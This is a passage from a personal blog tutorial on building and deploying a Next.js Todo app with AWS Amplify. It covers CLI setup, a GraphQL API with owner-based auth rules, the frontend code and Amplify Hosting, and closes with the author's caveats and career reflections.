<p>After that, it will take you to the AWS Console to continue the process. Just make sure to create a user with the <code>AdministratorAccess-Amplify</code> policy enabled. That will allow the IAM user you just created to use Amplify to provision AWS services for your apps. </p>
<p>Then AWS Console will give you both an <code>accessKeyId</code> and <code>secretAccessKey</code> that you will need to input on the terminal to finish configuring AmplifyCLI. </p>
<pre><code class="lang-terminal">Enter the access key of the newly created user:
? accessKeyId:  ********************
? secretAccessKey:  ****************************************
This would update/create the AWS Profile in your local machine
? Profile Name:  default

Successfully set up the new user.
</code></pre>
<p>Please note that it will be the only and last time that AWS will show you those particular keys. But you can always create new ones.</p>
<p>Now you are all set up and ready to start building fullstack apps with AWS and Amplify!</p>
<h2 id="heading-amplify-and-next-setup">Amplify and Next setup</h2>
<p>First, create a new Next.js project:</p>
<pre><code class="lang-terminal">npx create-next-app my-awesome-app

cd my-awesome-app
</code></pre>
<p>At this point, if you run <code>npm run dev</code> or <code>yarn dev</code> you should see your boilerplate Next project running. You should see the "Welcome to Next.js" page.</p>
<p>...</p>
<p>To set up the "backend" with AWS we just need to init it with Amplify CLI. From your project's root run:</p>
<pre><code class="lang-terminal">amplify init
</code></pre>
<p>It will ask for some info, but it will be able to infer most of the defaults given that you are using Next.</p>
<pre><code class="lang-terminal">Note: It is recommended to run this command from the root of your app directory
? Enter a name for the project myawesomeapp
The following configuration will be applied:

Project information
| Name: myawesomeapp
| Environment: dev
| Default editor: Visual Studio Code
| App type: javascript
| Javascript framework: react
| Source Directory Path: src
| Distribution Directory Path: build
| Build Command: npm run-script build
| Start Command: npm run-script start

? Initialize the project with the above configuration? Yes
Using default provider  awscloudformation
? Select the authentication method you want to use: (Use arrow keys)
❯ AWS profile 
  AWS access keys
</code></pre>
<p>Once its done asking questions, let it do its thing for a short while.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648916609325/phaUaeL-e.jpeg" alt="55B08393-5CE8-458D-95BF-1B6644AC8B20.jpeg" /></p>
<p>Ooopss! I made a mistake. I'm using Next.js, not plain React. There are some differences. The <code>src</code> in Next is the root of the project. And<code>build</code> should be <code>/.next</code>. Luckily it is very easy to fix with Amplify.</p>
<pre><code class="lang-terminal">amplify configure project
</code></pre>
<p>Will run the configuration questionnaire again.</p>
<pre><code class="lang-terminal">? Which setting do you want to configure? Project information
? Enter a name for the project myawesomeapp
? Choose your default editor: Visual Studio Code
? Choose the type of app that you're building javascript
Please tell us about your project
? What javascript framework are you using react
? Source Directory Path:  .
? Distribution Directory Path: .next
? Build Command:  npm run-script build
? Start Command: npm run-script start
Using default provider  awscloudformation


Successfully made configuration changes to your project.
</code></pre>
<p>Ok. That's better, take a look. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648916626993/0wonlAG9X.jpeg" alt="CFA7D53D-F19F-4C35-A4E7-DA11F1337F80.jpeg" /></p>
<p>Amplify will create a folder <code>./amplify</code> where it keeps all the info it needs to provision the AWS backend. As you add services this folder will get updated. It will also update the .gitignore file of your project.</p>
<p>Pay particular attention to the <code>aws-exports.js</code> file. The Amplify client needs this file to know how to use your AWS backend. </p>
<p>Please take note that amplify will automatically hide the <code>/amplify/.config</code> on VSCode by default on <code>.vscode/settings.json</code> but I changed that file to show it for the screeshot. So don't get scared when you don't see the <code>.config</code> folder! Ask me how I know!</p>
<p>Under the hood, a project will be created on your AWS Amplify Console. You jump into it by typing <code>amplify console</code> on the terminal</p>
<h3 id="heading-a-small-sidetrack-infrastructure-as-code">A small sidetrack: Infrastructure as Code</h3>
<p>By the way. This approach of doing things is usually called <a target="_blank" href="https://en.wikipedia.org/wiki/Infrastructure_as_code">"Infrastructure as Code"</a>. And as you can see, it really meshes well with the ethos of Serverless computing. </p>
<p>Under the hood, Amplify uses <a target="_blank" href="https://aws.amazon.com/cloudformation/">AWSCloudFormation</a>, which allows you to create a <em>template</em> with JSON or YAML to describe the infrastructure you want, from the catalog of AWS services available.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648923436023/5Rmq5PGco.jpeg" alt="221F59F3-B322-4420-B843-F3779902DE9F.jpeg" /></p>
<p>You may also use <a target="_blank" href="https://docs.aws.amazon.com/cdk/v2/guide/home.html">AWS Cloud Development Kit (CDK)</a> to define your infrastructure with common programming languages, like TypeScript. It also uses CloudFormation.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648925518276/_YPvf0f-b.jpeg" alt="6AC2FC47-8457-431D-A759-B56885854FA7.jpeg" /></p>
<p>I will go through CDK in the future, but for now. Suffice to say that you can code "chunks" of your infrastructure, called "constructs". And can build your entire backend by piecing constructs together. Then, export the resulting CloudFormation template into AWS.</p>
<p>...</p>
<p>To finish setting up the project. Let's install the Amplify Libraries we need to use AWS from the client.</p>
<pre><code class="lang-bash">npm install aws-amplify @aws-amplify/ui-react@1.x.x
</code></pre>
<p>The <code>aws-amplify</code> package is the main npm package that we need for working with Amplify in our frontend apps. The other one contains React UI components that will be very useful as we build our app using AWS.</p>
<h2 id="heading-create-a-graphql-api-in-like-seconds">Create a GraphQL API in like seconds.</h2>
<p>Up until this point everything we have done has been pretty generic. Pretty much any app will be setup like this. But now we have to think what it is that we want to do. Let's make a very unoriginal "Todo" app XD </p>
<p>We will need an API. Thus,</p>
<pre><code class="lang-bash">amplify add api
</code></pre>
<p>It will ask some questions. By now you know the drill.</p>
<pre><code class="lang-terminal">? Select from one of the below mentioned services: GraphQL
? Here is the GraphQL API that we will create. Select a setting to edit or continue (Use arrow keys)
  Name: myawesomeapp 
  Authorization modes: API key (default, expiration time: 7 days from now) 
  Conflict detection (required for DataStore): Disabled 
? Here is the GraphQL API that we will create. Select a setting to edit or continue Continue
? Choose a schema template: Single object with fields (e.g., “Todo” with ID, name, description)

...

GraphQL schema compiled successfully.
</code></pre>
<p>As we choose a GraphQL API, it will now ask if you want to edit the schema. If you choose yes, it will show the schema file. Here is what I'll use.</p>
<pre><code class="lang-gql">type Todo
@model
@auth(rules:[{allow: owner}, {allow:public, operations:[read] }]) {
  id: ID!
  title: String!
  content: String!
}
</code></pre>
<p>First note that there is a <code>@model</code> directive for the <code>Todo</code> type. This is an amplify-specific way of telling AWS to provision everything it will need to <a target="_blank" href="https://docs.amplify.aws/cli/graphql/data-modeling/">handle the implied data model</a>. For example, it will create DynamoDB database tables for GraphQL types annotated with <code>@model</code>, and setup AWS AppSync to handle the corresponding API.</p>
<p>There is also an <code>@auth</code> directive with some rules. Again, this is for amplify to provision whatever it needs to <a target="_blank" href="https://docs.amplify.aws/cli/graphql/authorization-rules/">handle who can do what with the database entries</a>. Here we are telling amplify that only the owner will have full CRUD access to the data. While others can only read it.</p>
<p>Check the docs if you want to learn more about <a target="_blank" href="https://docs.amplify.aws/cli/graphql/overview/">creating APIs with Amplify</a>.</p>
<p>Finally, let's deploy the API. Type:</p>
<pre><code class="lang-bash">amplify push
</code></pre>
<p>It will push your API into the Cloud. After asking some more questions.</p>
<pre><code class="lang-terminal">Building resource api/myawesomeapp
⚠️  WARNING: your GraphQL API currently allows public create, read, update, and delete access to all models via an API Key. To configure PRODUCTION-READY authorization rules, review: https://docs.amplify.aws/cli/graphql/authorization-rules


    Current Environment: dev

┌──────────┬───────────────┬───────────┬───────────────────┐
│ Category │ Resource name │ Operation │ Provider plugin   │
├──────────┼───────────────┼───────────┼───────────────────┤
│ Api      │ myawesomeapp  │ Create    │ awscloudformation │
└──────────┴───────────────┴───────────┴───────────────────┘
? Are you sure you want to continue? Yes
</code></pre>
<p>It will ask about the authentication and security configuration</p>
<pre><code class="lang-terminal">Cognito UserPool configuration
Using service: Cognito, provided by: awscloudformation

 The current configured provider is Amazon Cognito. 

 Do you want to use the default authentication and security configuration? Default configuration
 Warning: you will not be able to edit these selections. 
 How do you want users to be able to sign in? Username
 Do you want to configure advanced settings? No, I am done.
</code></pre>
<p>Then it will ask about the GraphQL API</p>
<pre><code class="lang-terminal">? Do you want to generate code for your newly created GraphQL API Yes
? Choose the code generation language target javascript
? Enter the file name pattern of graphql queries, mutations and subscriptions src/graphql/**/*.js
? Do you want to generate/update all possible GraphQL operations - queries, mutations and subscriptions Yes
? Enter maximum statement depth [increase from default if your schema is deeply nested] 2
</code></pre>
<p>Once its done, your API is live!</p>
<pre><code class="lang-terminal">✔ Generated GraphQL operations successfully and saved at src/graphql
✔ All resources are updated in the cloud

GraphQL endpoint: # the url for the api endpoint
GraphQL API KEY: ********************************

GraphQL transformer version: 2
</code></pre>
<p>You can play with it by running</p>
<pre><code class="lang-terminal">amplify console api
</code></pre>
<p>To open the <a target="_blank" href="https://aws.amazon.com/appsync/">AWS AppSync</a> console.</p>
<h3 id="heading-what-the-heck-just-happened">What the heck just happened!</h3>
<p>This one makes for a dramatic highlight of the power you can wield with this kind of tools. Under the hood Amplify provisioned everything you need for the API to work.</p>
<p>No data models and ODMs, or silly CRUD-ful mischievousness to worry about! AWS will figure all of that out for you!</p>
<blockquote>
<p>Disclaimer: If only it were so simple. Nothing in software is a silver bullet. There are some tradeoffs. Can you guess which ones?</p>
</blockquote>
<h2 id="heading-create-a-nextjs-frontend">Create a Next.js frontend</h2>
<p>Open <code>./pages/index.js</code> to start building the frontend of the app. Let's first see what we need to import to tie everything together</p>
<pre><code class="lang-javascript"><span class="hljs-comment">//pages/index.js</span>

<span class="hljs-keyword">import</span> { AmplifyAuthenticator } <span class="hljs-keyword">from</span> <span class="hljs-string">"@aws-amplify/ui-react"</span>;
<span class="hljs-keyword">import</span> { Amplify, API, Auth, withSSRContext } <span class="hljs-keyword">from</span> <span class="hljs-string">"aws-amplify"</span>;

<span class="hljs-keyword">import</span> Head <span class="hljs-keyword">from</span> <span class="hljs-string">"next/head"</span>;
<span class="hljs-keyword">import</span> styles <span class="hljs-keyword">from</span> <span class="hljs-string">"../styles/Home.module.css"</span>;

<span class="hljs-keyword">import</span> awsExports <span class="hljs-keyword">from</span> <span class="hljs-string">"../aws-exports.js"</span>;

<span class="hljs-keyword">import</span> { createTodo } <span class="hljs-keyword">from</span> <span class="hljs-string">"../src/graphql/mutations"</span>;
<span class="hljs-keyword">import</span> { listTodos } <span class="hljs-keyword">from</span> <span class="hljs-string">"../src/graphql/queries"</span>;

<span class="hljs-comment">// Tell amplify to use our configured backend</span>
Amplify.configure({ ...awsExports, <span class="hljs-attr">ssr</span>: <span class="hljs-literal">true</span> });
</code></pre>
<p>We import from <code>aws-amplify</code> the objects that will allow us to consume the backend. And we tell Amplify to use it by using <code>Amplify.configure()</code>.</p>
<p>The <code>awsExports</code> object is the aws-exports.js file that Amplify generated back when we initialized out project.</p>
<p>The <code>createTodo</code> and <code>listTodos</code> objects are the GraphQL mutation and query, for our "Todo" model, respectively. I have a styles CSS file which is pretty much what Next.js generates by default, so don't worry too much about it. </p>
<p>The <a target="_blank" href="https://docs.amplify.aws/lib/graphqlapi/getting-started/q/platform/js/"><code>API</code></a> and <a target="_blank" href="https://docs.amplify.aws/lib/auth/getting-started/q/platform/js/"><code>Auth</code></a> objects will allow us to interact with the underlying AWS services we asked Amplify to set up for us.</p>
<p>We will also use the <code>AmplifyAuthenticator</code> react component to let Amplify handle the sign-in/sign-out as well as how to restore forgotten passwords and so. <a target="_blank" href="https://docs.amplify.aws/lib/auth/getting-started/q/platform/js/#configure-your-application">You may also do this manually</a>, but I choose to do it this way for simplicity.</p>
<p>Finally, we will also have it so that the apps queries our API before it is sent to the client. <a target="_blank" href="https://docs.amplify.aws/lib/ssr/q/platform/js/">Amplify has a convenient <code>withSSRContext()</code> utility for that</a>. According to the docs, client-side credentials are passed to the server via cookies. <code>withSSRContext</code> creates an instance of <code>Amplify</code> scoped to a single request using those credentials. So the server can, in this case, make the request to or API and fetch the todos for server side rendering.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// We want to query our GraphQL API before sending the page to the client</span>
<span class="hljs-keyword">export</span> <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getServerSideProps</span>(<span class="hljs-params">{ req }</span>) </span>{
  <span class="hljs-keyword">const</span> SSR = withSSRContext({ req });
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> SSR.API.graphql({ <span class="hljs-attr">query</span>: listTodos });

  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">props</span>: {
      <span class="hljs-attr">todos</span>: response.data.listTodos.items,
    },
  };
}
</code></pre>
<p>Here is the main component</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Home</span>(<span class="hljs-params">{ todos = [] }</span>) </span>{
  <span class="hljs-keyword">return</span> (
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.container}</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">Head</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Todo Super App<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">'icon'</span> <span class="hljs-attr">href</span>=<span class="hljs-string">'./favicon.ico'</span> /&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">Head</span>&gt;</span>

      <span class="hljs-tag">&lt;<span class="hljs-name">main</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.main}</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.title}</span>&gt;</span>Todo App with AWS<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">AmplifyAuthenticator</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.auth}</span>&gt;</span>
          <span class="hljs-tag">&lt;<span class="hljs-name">p</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.description}</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">code</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.code}</span>&gt;</span>{todos.length}<span class="hljs-tag">&lt;/<span class="hljs-name">code</span>&gt;</span> todos
          <span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>

          <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.grid}</span>&gt;</span>
            {todos.map((todo) =&gt; (
              <span class="hljs-tag">&lt;<span class="hljs-name">a</span>
                <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.card}</span>
                <span class="hljs-attr">href</span>=<span class="hljs-string">{</span>`/<span class="hljs-attr">todos</span>/${<span class="hljs-attr">todo.id</span>}`}
                <span class="hljs-attr">key</span>=<span class="hljs-string">{todo.id}</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>{todo.title}<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>{todo.content}<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
              <span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
            ))}
          <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

          <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.card}</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>New Todo<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">onSubmit</span>=<span class="hljs-string">{handleCreateTodo}</span>&gt;</span>
              <span class="hljs-tag">&lt;<span class="hljs-name">fieldset</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">legend</span>&gt;</span>Task name<span class="hljs-tag">&lt;/<span class="hljs-name">legend</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">defaultValue</span>=<span class="hljs-string">{</span>"<span class="hljs-attr">Enter</span> <span class="hljs-attr">a</span> <span class="hljs-attr">name...</span>"} <span class="hljs-attr">name</span>=<span class="hljs-string">'title'</span> /&gt;</span>
              <span class="hljs-tag">&lt;/<span class="hljs-name">fieldset</span>&gt;</span>
              <span class="hljs-tag">&lt;<span class="hljs-name">fieldset</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">legend</span>&gt;</span>Task description<span class="hljs-tag">&lt;/<span class="hljs-name">legend</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">defaultValue</span>=<span class="hljs-string">'What is the task?'</span> <span class="hljs-attr">name</span>=<span class="hljs-string">'content'</span> /&gt;</span>
              <span class="hljs-tag">&lt;/<span class="hljs-name">fieldset</span>&gt;</span>

              <span class="hljs-tag">&lt;<span class="hljs-name">button</span>&gt;</span>Create Post<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
              <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">type</span>=<span class="hljs-string">'button'</span> <span class="hljs-attr">onClick</span>=<span class="hljs-string">{()</span> =&gt;</span> Auth.signOut()}&gt;
                Sign out
              <span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
          <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">AmplifyAuthenticator</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">main</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
  );
}
</code></pre>
<p>Finally, we have a handler for when we need to create a new Todo</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleCreateTodo</span>(<span class="hljs-params">event</span>) </span>{
  event.preventDefault();

  <span class="hljs-keyword">const</span> form = <span class="hljs-keyword">new</span> FormData(event.target);

  <span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">const</span> { data } = <span class="hljs-keyword">await</span> API.graphql({
      <span class="hljs-attr">authMode</span>: <span class="hljs-string">"AMAZON_COGNITO_USER_POOLS"</span>,
      <span class="hljs-attr">query</span>: createTodo,
      <span class="hljs-attr">variables</span>: {
        <span class="hljs-attr">input</span>: {
          <span class="hljs-attr">title</span>: form.get(<span class="hljs-string">"title"</span>),
          <span class="hljs-attr">content</span>: form.get(<span class="hljs-string">"content"</span>),
        },
      },
    });
    <span class="hljs-built_in">window</span>.location.href = <span class="hljs-string">`/todos/<span class="hljs-subst">${data.createTodo.id}</span>`</span>;
  } <span class="hljs-keyword">catch</span> ({ errors }) {
    <span class="hljs-built_in">console</span>.error(...errors);
    <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(errors[<span class="hljs-number">0</span>].message);
  }
}
</code></pre>
<p>Here the only relevant part is that we are using <code>await API.graphql()</code> which does exactly what it looks like. It takes an object describing a query and then does the query for you. </p>
<p>It will then take us to <code>/todos/:id</code> which we haven't written yet. Here it is. It is pretty much the same in terms of how to handle the backend.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> { Amplify, API, withSSRContext } <span class="hljs-keyword">from</span> <span class="hljs-string">"aws-amplify"</span>;
<span class="hljs-keyword">import</span> awsExports <span class="hljs-keyword">from</span> <span class="hljs-string">"../../aws-exports"</span>;

<span class="hljs-keyword">import</span> Head <span class="hljs-keyword">from</span> <span class="hljs-string">"next/head"</span>;
<span class="hljs-keyword">import</span> { useRouter } <span class="hljs-keyword">from</span> <span class="hljs-string">"next/router"</span>;
<span class="hljs-keyword">import</span> styles <span class="hljs-keyword">from</span> <span class="hljs-string">"../../styles/Home.module.css"</span>;

<span class="hljs-keyword">import</span> { deleteTodo } <span class="hljs-keyword">from</span> <span class="hljs-string">"../../src/graphql/mutations"</span>;
<span class="hljs-keyword">import</span> { getTodo, listTodos } <span class="hljs-keyword">from</span> <span class="hljs-string">"../../src/graphql/queries"</span>;

Amplify.configure({ ...awsExports, <span class="hljs-attr">ssr</span>: <span class="hljs-literal">true</span> });

<span class="hljs-keyword">export</span> <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getStaticPaths</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> SSR = withSSRContext();
  <span class="hljs-keyword">const</span> { data } = <span class="hljs-keyword">await</span> SSR.API.graphql({ <span class="hljs-attr">query</span>: listTodos });
  <span class="hljs-keyword">const</span> paths = data.listTodos.items.map(<span class="hljs-function">(<span class="hljs-params">todo</span>) =&gt;</span> ({
    <span class="hljs-attr">params</span>: { <span class="hljs-attr">id</span>: todo.id },
  }));

  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">fallback</span>: <span class="hljs-literal">true</span>,
    paths,
  };
}

<span class="hljs-keyword">export</span> <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getStaticProps</span>(<span class="hljs-params">{ params }</span>) </span>{
  <span class="hljs-keyword">const</span> SSR = withSSRContext();
  <span class="hljs-keyword">const</span> { data } = <span class="hljs-keyword">await</span> SSR.API.graphql({
    <span class="hljs-attr">query</span>: getTodo,
    <span class="hljs-attr">variables</span>: {
      <span class="hljs-attr">id</span>: params.id,
    },
  });

  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">props</span>: {
      <span class="hljs-attr">todo</span>: data.getTodo,
    },
  };
}

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Todo</span>(<span class="hljs-params">{ todo }</span>) </span>{
  <span class="hljs-keyword">const</span> router = useRouter();

  <span class="hljs-keyword">if</span> (router.isFallback) {
    <span class="hljs-keyword">return</span> (
      <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.container}</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.title}</span>&gt;</span>Loading...<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
    );
  }

  <span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleDelete</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">await</span> API.graphql({
        <span class="hljs-attr">authMode</span>: <span class="hljs-string">"AMAZON_COGNITO_USER_POOLS"</span>,
        <span class="hljs-attr">query</span>: deleteTodo,
        <span class="hljs-attr">variables</span>: {
          <span class="hljs-attr">input</span>: { <span class="hljs-attr">id</span>: todo.id },
        },
      });

      <span class="hljs-built_in">window</span>.location.href = <span class="hljs-string">"/"</span>;
    } <span class="hljs-keyword">catch</span> ({ errors }) {
      <span class="hljs-built_in">console</span>.error(...errors);
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(errors[<span class="hljs-number">0</span>].message);
    }
  }

  <span class="hljs-keyword">return</span> (
    <span class="xml"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.container}</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">Head</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>{todo.title} - Todo App<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">'icon'</span> <span class="hljs-attr">href</span>=<span class="hljs-string">'/favicon.ico'</span> /&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">Head</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">main</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.main}</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.title}</span>&gt;</span>{todo.title}<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">p</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.description}</span>&gt;</span>{todo.content}<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">main</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">footer</span> <span class="hljs-attr">className</span>=<span class="hljs-string">{styles.footer}</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onClick</span>=<span class="hljs-string">{handleDelete}</span>&gt;</span>Delete Post<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">footer</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span></span>
  );
}
</code></pre>
<p>The only noteworthy aspect is the <code>handleDelete</code> handler. It will use the <code>API</code> object to send a delete query for the todo's id. And then it will take us to the home <code>/</code>.</p>
<p>...</p>
<p>If you play for a little bit with the app you will see that it has a very complex sign-up/sign-in flow. But I only used a single component to have it work that way.</p>
<h2 id="heading-deploying-and-setting-up-cicd">Deploying and setting up CI/CD</h2>
<p>Finally, lets deploy our app. We will use Amplify Hosting, of course! Can you guess how you would add hosting? Exactly!</p>
<pre><code class="lang-terminal">amplify add hosting
</code></pre>
<p>It will ask some questions</p>
<pre><code class="lang-terminal">? Select the plugin module to execute Hosting with Amplify Console (Managed hosting with custom domains, Continuous deployment)
? Choose a type Continuous deployment (Git-based deployments)
? Continuous deployment is configured in the Amplify Console. Please hit enter once you connect your repository
</code></pre>
<p>Then it will take you to the Amplify console. Choose Hosting environments tab and select from where to pull the project. </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648938664579/Rz_dZJU01.png" alt="Screenshot from 2022-04-02 16-30-26.png" /></p>
<p>I'm using github. Click "select branch" and follow the instructions to authorize with github. Then just enter the repo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648938577467/hKsFWFtgy.png" alt="Screenshot from 2022-04-02 16-23-27.png" /></p>
<p>Tumble your way through the instructions and eventually you will have a deployed app!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1648938562230/5FfAXr9hS.png" alt="Screenshot from 2022-04-02 16-28-20.png" /></p>
<p>Once you select the repo and let AWS start the build process, you will see this in the terminal.</p>
<pre><code class="lang-terminal">Amplify hosting urls: 
┌──────────────┬────────────────────────────────────────────┐
│ FrontEnd Env │ Domain                                     │
├──────────────┼────────────────────────────────────────────┤
│ main         │ https://main.d3l9nsrhlyyztc.amplifyapp.com │
└──────────────┴────────────────────────────────────────────┘
</code></pre>
<p>It will take a while to build.</p>
<p>Finally, <a target="_blank" href="https://main.d3l9nsrhlyyztc.amplifyapp.com/">here is the app</a></p>
<p>And here's <a target="_blank" href="https://github.com/JorchRL/amplify-todo-tutorial">the GitHub Repo</a></p>
<h1 id="heading-there-are-some-caveats-though">There are some caveats though</h1>
<p>Everything in software architecture is a tradeoff. AWS Amplify makes it almost trivial to use the notoriously confusing AWS ecosystem. </p>
<p>It does a lot of stuff under the hood. And it works pretty well... until it doesn't. If you throw in a lot of stuff without knowing what is what, you won't have the faintest idea on how to even start debugging when things go awry. </p>
<p>So tools like this one can turn out to be quite the sharp double-edged sword. The more you rely on "bootstrapping" software, the more likely you are of check-matting yourself.</p>
<p>That is, if you don't understand what is happening under the hood. </p>
<blockquote>
<p>Just to be completely transparent. I am just learning this myself. I followed a bunch of tutorials just to be able to piece this one together. You can find other tutorials online. Better tutorials.</p>
<p>So I want to be extremely careful, to avoid going overboard. That being said, I take a lot of care about the information I share here.</p>
</blockquote>
<h1 id="heading-why-do-i-care-about-this-stuff">Why do I care about this stuff?</h1>
<p>I don’t really like front end that much, to be honest (mainly because I suck at it). And I figured I will focus on learning what I need for the job <em>I want</em>. The big-picture architectural side of software meshes much better with how my mind works. </p>
<p>Most jobs I’ve seen that involve architecture, Serverless and the Jamstack, are <em>senior fullstack engineer</em> positions. So I’m aiming for that. As arrogant as it might sound coming from someone with 0 industry experience. </p>
<p>So I figured I will build my experience myself by building bigger "fullstack" projects on this blog. Which is great for my blogging, as I now have a narrower focus! I also want to get into Web3 :D</p>
<p>Alas, I don’t come into software empty handed. I know the value of my abilities. Coding is trivial once you reach a certain threshold. And I am way past that point. I can research the rest by myself.</p>
<p>I have low self-esteem, not a lack of self-awareness!</p>
<p>:D</p>
<blockquote>
<p>I mean, good, persuasive writing <em>demands</em> boldness.</p>
</blockquote>
<h1 id="heading-epilogue">Epilogue.</h1>
<p>Well, that was another really big one! I learned a ton. And I mean A TON! </p>
<p>Last week or so I wasn't even aware that AWS existed! Nor I had any idea about "fullstack" other than the cliche Node/Express and MongoDB run-of-the-mill tutorial project.</p>
<p>But this? This was something else!</p>
<p>Did I miss anything? Please let me know! </p>
<p>Maybe follow me on Twitter? </p>
